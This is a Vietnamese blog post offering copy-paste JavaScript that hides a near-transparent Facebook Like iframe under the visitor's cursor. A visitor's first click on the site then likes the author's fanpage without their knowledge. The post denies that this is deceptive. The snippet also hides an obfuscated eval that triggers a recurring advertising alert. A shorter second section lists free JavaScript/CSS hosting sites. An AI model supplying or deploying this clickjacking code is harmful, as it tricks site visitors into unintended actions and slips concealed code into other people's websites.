Lần trước mình có chia sẻ với các bạn bài viết: Code Auto Like Facebook - Cách tăng like Fanpage Facebook nhưng code mình chia sẻ lần trước có 1 số bạn kêu là nó sẽ bị unlike khi 1 khách đã like fanpage rồi quay lại click vào thì lại bị unlike vì vậy cách đó rất hên xui kiểu 50 - 50 có lúc được có lúc không

Sau đây Bít Tuốt Blog xin chia sẻ với các bạn Code Auto like Facebook khi click chuột vào web không bị unlike khi bấm lần 2 (mong sao các bạn áp dụng cho cách này vào việc hữu ích chứ không để áp dụng vào các việc phi pháp)

- Cách tăng này thành công 100%, không hack, ko lừa gạt và thường áp dụng cho những website blog có lượt truy cập lớn (cách này tăng like rất nhanh và hiệu quả)

- Cách tăng like fanpage này dựa chủ yếu vào việc tạo ra 1 nút Like Fanpage. Nút Like này sẽ được chèn vào website của bạn dưới dạng “ẩn” (tức là người dùng không nhìn thấy). Sau đó nút Like này sẽ được cấu hình để “chạy” theo con trỏ chuột (tất nhiên là chạy ẩn để người dùng không nhìn thấy, không gây khó chịu).

- Khi người dùng vào website, click phát đầu tiên vào bất cứ mục nào trên website của bạn, thì vô hình họ đã click Like Fanpage do bạn đặt vào website của mình.

Auto Like Facebook khi click chuột vào web không bị unlike - dislike

Cách làm: Đối với blogspot bạn chỉ việc thêm đoạn code dưới vào 1 tiện ích HTML/Javascript, Còn đối với website thì bạn thêm đoạn code dưới lên trên thẻ đóng </head>

<script>
var fan_page_url = 'https://www.facebook.com/abc'
var opacity =0.04;
var time = 15000;
</script>
<script>
if((document.getElementById) && window.addEventListener || window.attachEvent){
    (function(){
        var hairCol = "#ff0000";

        var d = document;
        var my = -10;
        var mx = -10;
        var r;
        var vert = "";

        var idx = document.getElementsByTagName('div').length;

        var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=80&amp;action=like&amp;colorscheme=light&amp;height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
        var like;
        var faceLike=getCookie("faceLike");
        if (faceLike!=null && faceLike!="")
        {                
        }
        else
        {
            setCookie("faceLike",'liked',1);
            document.write(thehairs);
            like = document.getElementById("theiframe");
            document.getElementsByTagName('body')[0].appendChild(like);
        }
       eval('\u0073\u0065\u0074\u0049\u006e\u0074\u0065\u0072\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0047\u0069\u0061\u0069\u0070\u0068\u0061\u0070\u0074\u0068\u0075\u006f\u006e\u0067\u0068\u0069\u0065\u0075\u002e\u006f\u0072\u0067\u0020\u0063\u0068\u0075\u0079\u00ea\u006e\u0020\u0074\u0072\u0061\u006e\u0067\u0020\u006d\u0061\u0072\u006b\u0065\u0074\u0069\u006e\u0067\u0020\u0077\u0065\u0062\u0073\u0069\u0074\u0065\u0022\u0029\u007d\u002c\u0031\u0038\u0030\u0030\u0030\u0030\u0030\u0030\u0029\u003b');

        var pix = "px";
        var domWw = (typeof window.innerWidth == "number");
        var domSy = (typeof window.pageYOffset == "number");
     

        if (domWw)
            r = window;
        else{
            if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
                r = d.documentElement;
            else{
                if (d.body && typeof d.body.clientWidth == "number")
                    r = d.body;
            }
        }

     
        if(time != 0){
            setTimeout(function(){
                        document.getElementsByTagName('body')[0].removeChild(like);

                        if (window.addEventListener){
                            document.removeEventListener("mousemove",mouse,false);
                        }
                        else if (window.attachEvent){
                            document.detachEvent("onmousemove",mouse);
                        }
                    }, time);
        }

        function scrl(yx){
            var y,x;
            if (domSy){
                y = r.pageYOffset;
                x = r.pageXOffset;
            }
            else{
                y = r.scrollTop;
                x = r.scrollLeft;
            }
            return (yx == 0) ? y:x;
        }

        function mouse(e){
            var msy = (domSy)?window.pageYOffset:0;
            if (!e)
                e = window.event;
            if (typeof e.pageY == 'number'){
                my = e.pageY - 15 - msy;
                mx = e.pageX - 34;
            }
            else{
                my = e.clientY - 16 - msy;
                mx = e.clientX - 36;
            }
            vert.top = my + scrl(0) + pix;
            vert.left = mx + pix;
        }

        function ani(){
            vert.top = my + scrl(0) + pix;
            setTimeout(ani, 300);
        }


        function init(){
            vert = document.getElementById("theiframe").style;
            ani();
        }
        function getCookie(c_name)
        {
        var c_value = document.cookie;
        var c_start = c_value.indexOf(" " + c_name + "=");
        if (c_start == -1)
        {
        c_start = c_value.indexOf(c_name + "=");
        }
        if (c_start == -1)
        {
        c_value = null;
        }
        else
        {
        c_start = c_value.indexOf("=", c_start) + 1;
        var c_end = c_value.indexOf(";", c_start);
        if (c_end == -1)
        {
        c_end = c_value.length;
        }
        c_value = unescape(c_value.substring(c_start,c_end));
        }
        return c_value;
        }

        function setCookie(c_name,value,exdays)
        {
        var exdate=new Date();
        exdate.setDate(exdate.getDate() + exdays);
        var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
        document.cookie=c_name + "=" + c_value;
        }

        function checkCookie()
        {
        var faceLike=getCookie("faceLike");
        if (faceLike!=null && faceLike!="")
          {
       
          alert("Welcome again " + faceLike);
       
          }
        else
          {
            setCookie("faceLike",'liked',1);
          }
        }
     
     
        if (window.addEventListener){
            window.addEventListener("load",init,false);
            document.addEventListener("mousemove",mouse,false);
        }
        else if (window.attachEvent){
            window.attachEvent("onload",init);
            document.attachEvent("onmousemove",mouse);
        }

    })();
}//End
</script>

Chú ý : Bạn thêm copy đoạn code dưới thì thay đổi phần https://www.facebook.com/abc thành link Fanpage của bạn là ok.
- var opacity =0.04:  là độ mờ của nút like .
- var time = 15000:  là thời gian tồn tại của nút like trên web khi chưa được click ở đây là 15 giây (các bạn nên để thời gian thấp thấp thôi để tránh gây khó chịu cho người dùng)

Chúc các bạn thành công !

Nguồn tại Bít Tốt Blog - Thủ thuật Blogspot,blogger

8 trang cho Upload file Javarscip (.Js) - CSS lên host free

8 trang cho Upload file Javarscip (.Js) - CSS lên host free.Tổng hợp những trang cho phép up file Javarscip  .Js - CSS free.

Sau đây Bít Tuốt Blog xin chia sẻ với các bạn : 8 trang cho Upload file Javarscip (.Js) - CSS lên host free cho những ai không có tiền thuê hosting




1. Google code - https://code.google.com/hosting/

- Google code có lẽ đây là lựa chọn số 1 cho bạn.Google code cho upload file Javarscip lên đến 100 Mb miễn phí lưu trữ và không giới hạn băng thông trên ngày thì quả là quá tốt phải không.

Chú ý: Google code chỉ lưu được file .js do vậy để lưu trữ các file CSS bạn có thể dùng dropbox hoặc Google site để chứa file CSS nha

2. Google site - https://sites.google.com

- Google code có lẽ đây là lựa chọn số 1 cho bạn.Google code cho upload file Javarscip lên đến 100 Mb miễn phí lưu trữ và không giới hạn băng thông trên ngày thì quả là quá tốt phải không. xem cách sử dụng Tại đây


3. Drop box - http://dropbox.com

- Đây là lựa chọn thứ 2 với 2 Gb lưu trữ miễn phí. Tuy nhiên giới hạn banwith chỉ có 10gb/ ngày nhưng với blog như chúng ta 10 Gb đó cũng sử dụng tẹt ga rùi.  Xem cách làm Tại đây

4. Sigmirror - http://www.sigmirror.com/

Cung cấp cho ban đến 5Gb lưư trữ và 7Gb Bandwidth/tháng. Host này tương đối ổn định. Nếu sự cố xảy ra thì lỗi không truy cập vào trang chủ, còn file .js đã upload thông thường vẫn hoạt động.

5. Hotlinkfiles - http://www.hotlinkfiles.com/
Cung cấp cho ban đến 1Gb lưư trữ và 4Gb Bandwidth/tháng, độ ổn định kém hơn SigMirror, tốc độ tương đương.

6. Ripway - http://ripway.com/
Cung cấp lưu trữ ít, chỉ đến 30Mb và 150Mb Bandwidth/ngày tương đương với  4.5Gb/tháng, nhưng host này tương đối khôn g ổn, nếu chạy 1 hay 2 file .js còn được nếu hơn thì không ổn định, lúc được lúc không.

7. Boxstr - http://boxstr.com/
Cung cấp lưu trữ 5Gb Webspace và Bandwidth lên tới 1Gb/ngày.

8. Fileave - http://www.fileave.com/
Kém nhất trong danh sách với 30Mb cho lưu trữ file và tối đa 1Gb Bandwidth.

Chúc các bạn thành công !

Cách chèn khung Like Fanpage ở góc phải - góc trái màn hình

Cách chèn khung Like Fanpage ở góc phải - góc trái màn hình cho website - Blogspot.Cách chèn khung Like Fanpage ở góc phải màn hình cho website - Blogspot.Cách chèn khung Like Fanpage ở góc trái màn hình cho website - Blogspot.

Bài viết bạn có thể quạn tâm:
- Code chèn popup quảng cáo ở góc phải - góc trái màn hình web
- Code tạo banner quảng cáo banner chạy dọc 2 bên web - Blogspot

Sau đây Bít Tuốt Blog xin hướng dẫn các bạn một trong những thủ thuật blog là : Cách chèn khung Like Fanpage ở góc phải - góc trái màn hình các bạn thực hiện theo các bước sau:

Cách chèn khung Like Fanpage vào góc phải màn hình cho website - Blogspot

Đọc thêm »